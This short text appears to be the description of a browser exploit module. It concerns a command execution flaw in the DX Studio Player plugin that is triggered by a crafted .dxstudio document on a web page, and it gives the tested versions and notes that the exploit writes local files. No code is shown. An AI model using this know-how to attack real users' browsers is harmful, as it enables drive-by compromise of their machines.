     This module exploits a command execution vulnerability within the
    DX Studio Player from Worldweaver. The player is a browser plugin for
    IE (ActiveX) and Firefox (dll). When an unsuspecting user visits a web
    page referring to a specially crafted .dxstudio document, an attacker can
    execute arbitrary commands.

    Testing was conducted using plugin version 3.0.29.0 for Firefox 2.0.0.20 and
    IE 6 on Windows XP SP3. In IE, the user will be prompted if they wish to allow
    the plug-in to access local files. This prompt appears to occur only once per
    server host.

    NOTE: This exploit uses additionally dangerous script features to write to
    local files!
